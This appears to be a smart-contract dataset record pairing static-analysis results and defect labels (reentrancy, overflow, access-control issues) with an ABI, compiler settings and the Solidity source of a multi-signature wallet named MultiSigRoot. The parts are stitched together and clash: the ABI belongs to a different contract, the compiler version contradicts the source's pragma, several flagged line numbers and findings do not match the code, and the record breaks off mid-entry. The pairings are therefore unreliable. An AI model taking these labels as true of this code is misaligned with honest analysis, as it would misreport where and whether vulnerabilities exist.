[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Context.sol": [16, 17, 18]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Context.sol": [20, 21, 22, 23]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Context.sol": [3]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Context.sol": [15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 13, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 14, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 332, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 37, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 57, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 279, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 351, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 461, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 522, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 186, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 243, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 295, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 539, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 21, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 251, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 302, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 237, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 237, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 238, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 238, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[],"name":"getProvenance","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRandomNumber","outputs":[{"internalType":"bytes32","name":"requestId","type":"bytes32"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"provenance","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"requestId","type":"bytes32"},{"internalType":"uint256","name":"randomness","type":"uint256"}],"name":"rawFulfillRandomness","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"newProvenance","type":"string"}],"name":"setProvenance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startingIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawLink","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.8.7+commit.e28d00a7
true
200
Default
false
MultiSigRoot
0x78a81946f5b221b9487ac56a96871977c1a1a357
Solidity
pragma solidity >=0.5.0 <0.6.0; /** Author: Sik Jean Soon **/ /** * @title SafeMath for uint256 * @dev Math operations with safety checks that throw on error */ library SafeMathUint256 { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "Multiplier exception"); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; // Solidity automatically throws when dividing by 0 } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "Subtraction exception"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "Addition exception"); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "Modulo exception"); return a % b; } } /** * @title SafeMath for uint8 * @dev Math operations with safety checks that throw on error */ library SafeMathUint8 { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint8 a, uint8 b) internal pure returns (uint8 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "Multiplier exception"); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint8 a, uint8 b) internal pure returns (uint8) { return a / b; // Solidity automatically throws when dividing by 0 } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint8 a, uint8 b) internal pure returns (uint8) { require(b <= a, "Subtraction exception"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint8 a, uint8 b) internal pure returns (uint8 c) { c = a + b; require(c >= a, "Addition exception"); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint8 a, uint8 b) internal pure returns (uint8) { require(b != 0, "Modulo exception"); return a % b; } } contract Common { bytes32 internal LABEL_CODE_STAKER; bytes32 internal LABEL_CODE_STAKER_CONTROLLER; bytes32 internal LABEL_CODE_SIGNER_CONTROLLER; bytes32 internal LABEL_CODE_SIGNER; bytes32 internal LABEL_CODE_BACKSYS; bytes32 internal LABEL_CODE_OPS; uint8 constant internal MAX_WALLET = 64; uint256 constant internal WALLET_FLAG_ALL = (2 ** (uint256(MAX_WALLET))) - 1; constructor() public { LABEL_CODE_STAKER = encodePacked("STAKER"); LABEL_CODE_STAKER_CONTROLLER = encodePacked("STAKER_CONTROLLER"); LABEL_CODE_SIGNER_CONTROLLER = encodePacked("SIGNER_CONTROLLER"); LABEL_CODE_SIGNER = encodePacked("SIGNER"); LABEL_CODE_BACKSYS = encodePacked("BACKSYS"); LABEL_CODE_OPS = encodePacked("OPS"); } function encodePacked(string memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked(s)); } function convertBytesToBytes4(bytes memory _in) internal pure returns (bytes4 out) { if (0 == _in.length) return 0x0; assembly { out := mload(add(_in, 32)) } } function isContract(address _address) internal view returns (bool) { uint32 size; assembly { size := extcodesize(_address) } return (0 < size); } } contract Label is Common { string public class; string public label; string public description; bytes32 public classCode; bytes32 public labelCode; constructor(string memory _class, string memory _label, string memory _description) public { class = _class; label = _label; description = _description; classCode = encodePacked(_class); labelCode = encodePacked(_label); } } contract MultiSigNode is Label { using SafeMathUint8 for uint8; address payable public root; address public parent; // wallet index => wallet address mapping(uint8 => address) public wallets; // wallet address => wallet bit position mapping(address => uint8) public walletsIndex; // Normal wallet uint8 public walletCount; // Total wallet = normal wallet + contract wallet uint8 public totalWallet; modifier onlyRoot() { require(msg.sender == root, "Node.onlyRoot: Access denied"); _; } constructor(address payable _root, address[] memory _wallets, string memory _label, string memory _description) public Label("NODE", _label, _description) { require(address(0) != _root, "Node: Root address is empty"); require(MAX_WALLET >= _wallets.length, "Node: Wallet list exceeded limit"); root = _root; for (uint8 i = 1; _wallets.length >= i; i = i.add(1)) { address wallet = _wallets[i.sub(1)]; require(address(0) != wallet, "Node: Wallet address is empty"); require(0 == walletsIndex[wallet], "Node: Duplicated wallet address"); wallets[i] = wallet; walletsIndex[wallet] = i; if (!isContract(wallet)) walletCount = walletCount.add(1); } totalWallet = uint8(_wallets.length); } function init(address _parent) external onlyRoot { parent = _parent; if (0 < totalWallet) { uint8 count = 0; for (uint8 i = 1; i <= MAX_WALLET && count <= totalWallet; i = i.add(1)) { address wallet = wallets[i]; if (address(0) != wallet) { count = count.add(1); // Notify root this attached wallet, root will set parent address (if this is node) MultiSigRoot(root).attachWalletOrNode(wallet); } } } } function term() external onlyRoot { if (0 < totalWallet) { uint8 count = 0; for (uint8 i = 1; i <= MAX_WALLET && count <= totalWallet; i = i.add(1)) { address wallet = wallets[i]; if (address(0) != wallet) { count = count.add(1); // Notify root to remove this wallet from list MultiSigRoot(root).detachWalletOrNode(wallet); } } } } function attach(uint8 _index, address _wallet) external onlyRoot returns (bool) { require(0 < _index && MAX_WALLET >= _index, "Node.attach: Index out of range"); require(address(0) != _wallet, "Node.attach: Wallet address is empty"); require(0 == walletsIndex[_wallet], "Node.attach: Duplicated wallet address"); if (address(0) != wallets[_index]) detach(wallets[_index]); walletsIndex[_wallet] = _index; wallets[_index] = _wallet; if (!isContract(_wallet)) walletCount = walletCount.add(1); totalWallet = totalWallet.add(1); // Notify root this attached wallet, root will trigger attach operation (if this wallet is a contract) MultiSigRoot(root).attachWalletOrNode(_wallet); return true; } function detach(address _wallet) public onlyRoot returns (bool) { require(address(0) != _wallet, "Node.detach: Wallet address is empty"); uint8 index = walletsIndex[_wallet]; require(0 < index && MAX_WALLET >= index, "Node.detach: Wallet address is not registered"); if (!isContract(_wallet)) walletCount = walletCount.sub(1); totalWallet = totalWallet.sub(1); delete wallets[index]; delete walletsIndex[_wallet]; // Notify root to remove this wallet from list MultiSigRoot(root).detachWalletOrNode(_wallet); return true; } function getRootNode() external view returns (address) { if (address(0) == parent) return address(this); return MultiSigNode(parent).getRootNode(); } } /** * NOTE: Regulator is meant for changable rules for multi-sig */ contract MultiSigRegulator is Label { using SafeMathUint8 for uint8; using SafeMathUint256 for uint256; event TransactionLimitChanged(string requirementType, uint256 limit); address payable public root; address private creator; // Cached parameters address private argTo; uint256 private argValue; bool public isSealed; // Daily transaction limit (mapped: requirement type => TransactionLimit) mapping(bytes32 => TransactionLimit) public transactionLimits; struct TransactionLimit { uint256 datetime; uint256 volume; uint256 upperLimit; } modifier onlySealed() { require(isSealed, "Regulator.onlySealed: Not sealed"); _; } modifier onlyMe() { require(msg.sender == address(this), "Regulator.onlyMe: Access denied"); _; } modifier onlyRoot() { require(msg.sender == root, "Regulator.onlyRoot: Access denied"); _; } modifier onlyCreator() { require(msg.sender == creator, "Regulator.onlyCreator: Access denied"); _; } /** * Supported non-payable default function */ function () external onlyMe onlySealed { revert("Regulator: Not supported"); } constructor(address payable _root, string memory _label, string memory _description) public Label("REGULATOR", _label, _description) { require(address(0) != _root, "Regulator: Root address is empty"); root = _root; creator = msg.sender; } /** * Supported non-payable function: ERC_ER_SHI.increaseSupply * Only can be called by this contract itself to resolve calldata */ function increaseSupply(uint256 _value, address /* _to */) external onlyMe onlySealed { defaultRequirement("increaseSupply", _value); } /** * Supported non-payable function: ERC_ER_SHI.decreaseSupply * Only can be called by this contract itself to resolve calldata */ function decreaseSupply(uint256 _value, address /* _from */) external onlyMe onlySealed { defaultRequirement("decreaseSupply", _value); } /** * Supported non-payable function: ERC_ER_SHI.freeze * Only can be called by this contract itself to resolve calldata */ function freeze(address /* _from */, uint256 /* _value */) external onlyMe onlySealed { requirement1Backsys(); } /** * Supported non-payable function: ERC_ER_SHI.unfreeze * Only can be called by this contract itself to resolve calldata */ function unfreeze(address /* _from */, uint256 /* _value */) external onlyMe onlySealed { requirement1Backsys(); } /** * Supported non-payable function: ERC_ER_SHI.freezeAddress * Only can be called by this contract itself to resolve calldata */ function freezeAddress(address /* _addressOf */) external onlyMe onlySealed { requirement1Backsys(); } /** * Supported non-payable function: ERC_ER_SHI.unfreezeAddress * Only can be called by this contract itself to resolve calldata */ function unfreezeAddress(address /* _addressOf */) external onlyMe onlySealed { requirement1Backsys(); } /** * Supported non-payable function: Ownership.acceptOwnership * Only can be called by this contract itself to resolve calldata */ function acceptOwnership () external onlyMe onlySealed { requirement(LABEL_CODE_OPS, 2, 1); // INDEX 2: ONE SIGNABLE requirement(LABEL_CODE_SIGNER_CONTROLLER, 1, 1); // INDEX 1: ONE SIGNABLE } /** * Supported non-payable function: Ownership.transferOwnership * Only can be called by this contract itself to resolve calldata */ function transferOwnership (address payable /* _newOwner */) external onlyMe onlySealed { requirement(LABEL_CODE_STAKER, WALLET_FLAG_ALL, 1); // ANY ONE SIGNABLE requirement(LABEL_CODE_STAKER_CONTROLLER, WALLET_FLAG_ALL, uint8(-1)); // ALL SIGNABLE requirement(LABEL_CODE_SIGNER_CONTROLLER, WALLET_FLAG_ALL, 1); // ANY ONE SIGNABLE } /** * Supported non-payable function: Controllable.pause * Only can be called by this contract itself to resolve calldata */ function pause () external onlyMe onlySealed { requirement(LABEL_CODE_STAKER_CONTROLLER, WALLET_FLAG_ALL, 1); // ANY ONE SIGNABLE } /** * Supported non-payable function: Controllable.resume * Only can be called by this contract itself to resolve calldata */ function resume () external onlyMe onlySealed { requirement(LABEL_CODE_STAKER_CONTROLLER, WALLET_FLAG_ALL, 2); // ANY TWO SIGNABLE } /** * Supported non-payable function: MultiSigRegulator.setTransactionLimit */ function setTransactionLimit(string calldata _requirementType, uint256 _limit) external { if (msg.sender == root || !isSealed) { // Set transaction limit transactionLimits[encodePacked(_requirementType)].upperLimit = _limit; emit TransactionLimitChanged(_requirementType, _limit); } else { require(msg.sender == address(this), "Regulator.setTransactionLimit: Access denied"); // Create requirements for this transaction requirement(LABEL_CODE_STAKER_CONTROLLER, WALLET_FLAG_ALL, 2); // ANY TWO SIGNABLE } } function seal() external onlyCreator { require(!isSealed, "Regulator.seal: Access denied"); isSealed = true; } function createRequirement(uint256 /* _transactionCode */, address /* _from */, address _to, uint256 _value, bytes calldata _data) external onlyRoot { // Cache parameters argTo = _to; argValue = _value; // Perform self call to determine function details for requirement setup (bool success, bytes memory returnData) = address(this).call.value(_value)(_data); if (!success) { // Check the error string is available or not if (0 == returnData.length || bytes4(0x08c379a0) != convertBytesToBytes4(returnData)) revert("Regulator.createRequirement: Function call failed"); else { bytes memory bytesArray = new bytes(returnData.length); for (uint256 i = 0; i < returnData.length.sub(4); i = i.add(1)) { bytesArray[i] = returnData[i.add(4)]; } (string memory reason) = abi.decode(bytesArray, (string)); revert(reason); } } } function requirement(bytes32 _labelCode, uint256 _flag, uint8 _required) private { MultiSigRoot(root).createRequirement(_labelCode, _flag, _required); } function defaultRequirement(string memory _requirementType, uint256 _value) private { bytes32 t = encodePacked(_requirementType); // Check transaction volume limit TransactionLimit storage limit = transactionLimits[t]; // Check transaction volume limit if (0 < limit.upperLimit) { // Truncate timestamp (YYYYMMDD) to daily (UTC time) uint256 dt = now - (now % 86400); if (dt == limit.datetime) limit.volume = limit.volume.add(_value); else { // Reset volume on new day limit.datetime = dt; limit.volume = _value; } require(limit.upperLimit >= limit.volume, "Regulator.defaultRequirement: Exceeded limit"); } // Create requirement for this transaction requirement(LABEL_CODE_OPS, WALLET_FLAG_ALL, 4); // ANY FOUR SIGNABLE } function requirement1Backsys() private { requirement(LABEL_CODE_BACKSYS, WALLET_FLAG_ALL, 1); // ANY ONE SIGNABLE } } contract MultiSigRoot is Label { using SafeMathUint8 for uint8; using SafeMathUint256 for uint256; uint8 constant private WALLET_TYPE_WALLET = 1; uint8 constant private WALLET_TYPE_NODE = 2; uint8 constant private TRANSACTION_STATUS_EMPTY = 0; uint8 constant private TRANSACTION_STATUS_PENDING = 1; uint8 constant private TRANSACTION_STATUS_EXECUTED = 2; uint8 constant private TRANSACTION_STATUS_FAILURE = 3; uint8 constant private TRANSACTION_STATUS_REVOKED = 4; event Confirmation(address indexed sender, uint256 indexed transactionCode); event Revocation(address indexed sender, uint256 indexed transactionCode); event Submission(uint256 indexed transactionCode); event Requirement(uint256 indexed transactionCode, bytes32 labelCode, uint256 flag, uint8 required); event Execution(uint256 indexed transactionCode); event ExecutionFailure(uint256 indexed transactionCode); event Deposit(address indexed sender, uint256 value); event StakersChanged(address indexed stakers); event SignersChanged(address indexed signers); event RegulatorChanged(address indexed regulator); event StakersControllerChanged(address indexed stakersController); event SignersControllerChanged(address indexed signersController); event WalletOrNodeAttached(address indexed wallet); event WalletOrNodeDetached(address indexed wallet); address public stakers; address public signers; address public stakersController; address public signersController; address public regulator; // Transaction (mapped: transactionCode => Transaction) mapping(uint256 => Transaction) public transactions; uint256 public transactionCode; // Requirement (mapped: transactionCode + label code => requirement) mapping(uint256 => mapping(bytes32 => TransactionRequirement)) public requirements; // Prevent duplicated confirmation (mapped: transactionCode + wallet address => bool) mapping(uint256 => mapping(address => bool)) public confirmations; // Registered wallets or nodes (mapped: address => type) mapping(address => uint8) public registered; // Search node address by wallet address (mapped: wallet address => node address) mapping(address => address) public walletToNodes; // Search wallet index by wallet address (mapped: wallet address => wallet index) mapping(address => uint8) private walletToIndexes; // Search label code by wallet address (mapped: wallet address => label code) mapping(address => bytes32) private walletToLabelCodes; // Search node address by label code (mapped: label code => node address) mapping(bytes32 => address) private labelCodeToNodes; struct Transaction { uint8 status; uint8 totalRequired; address to; uint256 value; bytes data; string reason; } struct TransactionRequirement { uint8 required; uint256 flag; } modifier onlyEligible(uint256 _transactionCode) { require(isEligible(_transactionCode, msg.sender), "Root.onlyEligible: Not eligible"); _; } modifier onlySignable(uint256 _transactionCode) { require(isSignable(_transactionCode, msg.sender), "Root.onlySignable: Not signable"); _; } modifier onlyNode() { require(WALLET_TYPE_NODE == registered[msg.sender], "Root.onlyNode: Access denied"); _; } modifier onlyWallet() { require(WALLET_TYPE_WALLET == registered[msg.sender], "Root.onlyWallet: Access denied"); require(!isContract(msg.sender), "Root.onlyWallet: Is not node"); _; } modifier onlyRegulator() { require(msg.sender == regulator, "Root.onlyRegulator: Access denied"); _; } constructor(string memory _label, string memory _description) public Label("ROOT", _label, _description) { } function () external payable { if (0 < msg.value) emit Deposit(msg.sender, msg.value); } function isEligible(uint256 _transactionCode, address _sender) public view returns (bool) { uint256 flag = requirements[_transactionCode][walletToLabelCodes[_sender]].flag; if (0 != flag) { uint8 index = walletToIndexes[_sender]; if (0 != index) { index = index.sub(1); // Check the bit is on for wallet index return (0 != ((flag >> index) & 1)); } } return false; } function isSignable(uint256 _transactionCode, address _sender) public view returns (bool) { if (TRANSACTION_STATUS_PENDING == transactions[_transactionCode].status) { if (!confirmations[_transactionCode][_sender]) { if (0 != requirements[_transactionCode][walletToLabelCodes[_sender]].required) return true; } } return false; } function createRequirement(bytes32 _labelCode, uint256 _flag, uint8 _required) external onlyRegulator { setRequirement(_labelCode, _flag, _required); } function setRequirement(bytes32 _labelCode, uint256 _flag, uint8 _required) private { require(0 < _flag, "Root.setRequirement: Confirmation flag is empty"); uint8 totalRequired; // Required all wallet in the node if (uint8(-1) == _required) { address node = labelCodeToNodes[_labelCode]; require(address(0) != node, "Root.setRequirement: Node is not found"); totalRequired = MultiSigNode(node).walletCount(); if (node != signers) { // Stakers and controllers must have at least 1 wallet attached require(0 < totalRequired, "Root.setRequirement: No wallet"); } else { // Signer node allowed to be empty if (0 == totalRequired) return; } require(0 < totalRequired, "Root.setRequirement: Confirmation required is empty"); } else { // allowed 0 requirement, in order to support eligible user but not signable (view transaction only) totalRequired = _required; } require(0 == requirements[transactionCode][_labelCode].flag, "Root.setRequirement: Duplicated requirement"); requirements[transactionCode][_labelCode] = TransactionRequirement({ required: totalRequired, flag: _flag }); // Increase total required in transaction transactions[transactionCode].totalRequired = transactions[transactionCode].totalRequired.add(totalRequired); emit Requirement(transactionCode, _labelCode, _flag, totalRequired); } function submit(address _to, uint256 _value, bytes calldata _data) external onlyWallet returns (uint256 /* transactionCode */) { require(address(0) != _to, "Root.submit: Target address is empty"); // Generate transaction id transactionCode = transactionCode.add(1); bytes4 functionId = convertBytesToBytes4(_data); // Create requirement that based on destination address if (address(this) != _to) { // Check this is node address or not if (WALLET_TYPE_NODE == registered[_to]) { // Calling node function // - 0x80882800: node.attach // - 0xceb6c343: node.detach if (bytes4(0x80882800) == functionId || bytes4(0xceb6c343) == functionId) { // node.attach or node.detach address rootNode = MultiSigNode(_to).getRootNode(); if (rootNode == signers) { // Change SIGNER need ALL SIGNER_CONTROLLER setRequirement(LABEL_CODE_SIGNER_CONTROLLER, WALLET_FLAG_ALL, uint8(-1)); // ALL signable } else if (rootNode == signersController || rootNode == stakersController) { // Change SIGNERS_CONTROLLER or STAKER_CONTROLLER need ALL STAKER setRequirement(LABEL_CODE_STAKER, WALLET_FLAG_ALL, uint8(-1)); // ALL signable } else if (rootNode == stakers) { // Change STAKER need ALL STAKER_CONTROLLER setRequirement(LABEL_CODE_STAKER_CONTROLLER, WALLET_FLAG_ALL, uint8(-1)); // ALL signable } else { revert("Root.submit: Unknown node"); } } else revert("Root.submit: Not supported"); } else { // Regulator create requirement MultiSigRegulator(regulator).createRequirement(transactionCode, msg.sender, _to, _value, _data); } } else { // Calling self functions // - 0xcde0a4f8: root.setRegulator // - 0xb47876ea: root.setSigners // - 0xc27dbe63: root.setStakers // - 0x26bc178c: root.setStakersController // - 0x51d996bf: root.setSignersController if (bytes4(0xcde0a4f8) == functionId || bytes4(0xc27dbe63) == functionId) // setRegulator or setStakers setRequirement(LABEL_CODE_STAKER_CONTROLLER, WALLET_FLAG_ALL, uint8(-1)); // ALL signable else if (bytes4(0x26bc178c) == functionId || bytes4(0x51d996bf) == functionId) // setStakersController or setSignersController setRequirement(LABEL_CODE_STAKER, WALLET_FLAG_ALL, uint8(-1)); // ALL signable else if (bytes4(0xb47876ea) == functionId) // setSigners setRequirement(LABEL_CODE_SIGNER_CONTROLLER, WALLET_FLAG_ALL, uint8(-1)); // ALL signable else revert("Root.submit: Not supported"); } require(0 < transactions[transactionCode].totalRequired, "Root.submit: Requirement is empty"); // Create transaction structure transactions[transactionCode] = Transaction({ status: TRANSACTION_STATUS_PENDING, totalRequired: transactions[transactionCode].totalRequired, to: _to, value: _value, data: _data, reason: "" }); emit Submission(transactionCode); // Confirm transaction if eligible and signable if (isEligible(transactionCode, msg.sender) && isSignable(transactionCode, msg.sender)) confirmTransaction(transactionCode, transactions[transactionCode]); return transactionCode; } function confirm(uint256 _transactionCode) external onlyWallet onlyEligible(_transactionCode) onlySignable(_transactionCode) returns (bool) { Transaction storage transaction = transactions[_transactionCode]; return confirmTransaction(_transactionCode, transaction); } function revoke(uint256 _transactionCode) external onlyWallet onlyEligible(_transactionCode) returns (bool) { require(TRANSACTION_STATUS_PENDING == transactions[_transactionCode].status, "Root.revoke: Transaction has been completed"); transactions[_transactionCode].status = TRANSACTION_STATUS_REVOKED; emit Revocation(msg.sender, _transactionCode); return true; } function confirmTransaction(uint256 _transactionCode, Transaction storage _transaction) private returns (bool) { TransactionRequirement storage requirement = requirements[_transactionCode][walletToLabelCodes[msg.sender]]; require(0 != requirement.flag && 0 != requirement.required, "Root.confirmTransaction: Requirement is empty"); // Prevent duplicated confirmation require(!confirmations[_transactionCode][msg.sender], "root.confirmTransaction: Duplicated confirmation"); confirmations[_transactionCode][msg.sender] = true; requirement.required = requirement.required.sub(1); _transaction.totalRequired = _transaction.totalRequired.sub(1); emit Confirmation(msg.sender, _transactionCode); return executeTransaction(_transactionCode, _transaction); } function executeTransaction(uint256 _transactionCode, Transaction storage _transaction) private returns (bool) { require(TRANSACTION_STATUS_PENDING == _transaction.status, "Root.executeTransaction: Status not active"); if (0 == _transaction.totalRequired) { _transaction.status = TRANSACTION_STATUS_EXECUTED; // Perform remote call (bool success, bytes memory returnData) = _transaction.to.call.value(_transaction.value)(_transaction.data); if (success) emit Execution(_transactionCode); else { // Check the error string is available or not if (0 == returnData.length || bytes4(0x08c379a0) != convertBytesToBytes4(returnData)) _transaction.reason = "Root.executeTransaction: Function call failed"; else { bytes memory bytesArray = new bytes(returnData.length); for (uint256 i = 0; i < returnData.length.sub(4); i = i.add(1)) { bytesArray[i] = returnData[i.add(4)]; } (string memory reason) = abi.decode(bytesArray, (string)); _transaction.reason = reason; } _transaction.status = TRANSACTION_STATUS_FAILURE; emit ExecutionFailure(_transactionCode); } return success; } return true; } function setRegulator(address _addressOf) external { if (address(0) != regulator) require(msg.sender == address(this), "Root.setRegulator: Access denied"); require(MultiSigRegulator(_addressOf).isSealed(), "Root.setRegulator: Regulator is not sealed"); regulator = setNode(regulator, _addressOf, false); emit RegulatorChanged(regulator); } function setStakers(address _addressOf) external { if (address(0) != stakers) require(msg.sender == address(this), "Root.setStakers: Access denied"); if (isContract(_addressOf)) require(0 < MultiSigNode(_addressOf).walletCount(), "Root.setStakers: No wallet"); stakers = setNode(stakers, _addressOf, true); emit StakersChanged(stakers); } function setSigners(address _addressOf) external returns (bool) { if (address(0) != signers) require(msg.sender == address(this), "Root.setSigners: Access denied"); // Signer node allowed to be empty signers = setNode(signers, _addressOf, true); emit SignersChanged(signers); return true; } function setStakersController(address _addressOf) external { if (address(0) != stakersController) require(msg.sender == address(this), "Root.setStakersController: Access denied"); if (isContract(_addressOf)) require(0 < MultiSigNode(_addressOf).walletCount(), "Root.setStakersController: No wallet"); stakersController = setNode(stakersController, _addressOf, true); emit StakersControllerChanged(stakersController); } function setSignersController(address _addressOf) external { if (address(0) != signersController) require(msg.sender == address(this), "Root.setSignersController: Access denied"); if (isContract(_addressOf)) require(0 < MultiSigNode(_addressOf).walletCount(), "Root.setSignersController: No wallet"); signersController = setNode(signersController, _addressOf, true); emit SignersControllerChanged(signersController); } function setNode(address _from, address _to, bool needAttachment) private returns (address) { require(address(0) != _to, "Root.setNode: Address is empty"); if (needAttachment) { require(0 == registered[_to], "Root.setNode: Duplicated node"); // Remove node from list if (address(0) != _from) { if (isContract(_from)) { // detach node MultiSigNode(_from).term(); } delete registered[_from]; } if (isContract(_to)) { // Mark address as registered node registered[_to] = WALLET_TYPE_NODE; if (needAttachment) { // Attach node (parrent address = 0x0) MultiSigNode(_to).init(address(0)); } } else { // Mark address as registered wallet registered[_to] = WALLET_TYPE_WALLET; } } return _to; } function attachWalletOrNode(address _wallet) external onlyNode returns (bool) { require(address(0) != _wallet, "Root.attachWalletOrNode: Wallet address is empty"); require(0 == registered[_wallet], "Root.attachWalletOrNode: Duplicated wallet address"); bytes32 labelCode = MultiSigNode(msg.sender).labelCode(); walletToNodes[_wallet] = msg.sender; walletToIndexes[_wallet] = MultiSigNode(msg.sender).walletsIndex(_wallet); walletToLabelCodes[_wallet] = labelCode; labelCodeToNodes[labelCode] = msg.sender; if (isContract(_wallet)) { // Mark address as registered node registered[_wallet] = WALLET_TYPE_NODE; // Attach node with their parent address MultiSigNode(_wallet).init(msg.sender); } else { // Mark address as registered wallet registered[_wallet] = WALLET_TYPE_WALLET; } emit WalletOrNodeAttached(_wallet); return true; } function detachWalletOrNode(address _wallet) external onlyNode returns (bool) { require(address(0) != _wallet, "Root.detachWalletOrNode: Wallet address is empty"); require(0 != registered[_wallet], "Root.detachWalletOrNode: Wallet address is not registered"); if (isContract(_wallet)) { // Detach node with their parent MultiSigNode(_wallet).term(); bytes32 labelCode = MultiSigNode(msg.sender).labelCode(); delete labelCodeToNodes[labelCode]; } delete registered[_wallet]; delete walletToNodes[_wallet]; delete walletToIndexes[_wallet]; delete walletToLabelCodes[_wallet]; emit WalletOrNodeDetached(_wallet); return true; } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["211", "235", "254"]}, {"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["567", "899", "879"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["597"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["120", "604"]}, {"defect": "Redefine_variable", "type": "Code_specification", "severity": "Low", "lines": ["1054"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["227", "471", "459"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["754", "120", "572"]}, {"defect": "Reentrancy", "type": "Function_call", "severity": "High", "lines": ["539", "923"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["574"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [144, 145, 146, 147]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MultiSigRoot.sol": [153, 154, 155, 156]}}, {"check": "weak-prng", "impact": "High", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [572]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [221]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [104, 105, 106, 107]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [80, 81, 79]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [15, 16, 17, 18, 19, 20, 21, 22]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [52, 53, 54, 55]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [67, 68, 69, 70, 71, 72, 73, 74]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MultiSigRoot.sol": [27, 28, 29]}}, {"check": "solc-version", "impact": "Informational", 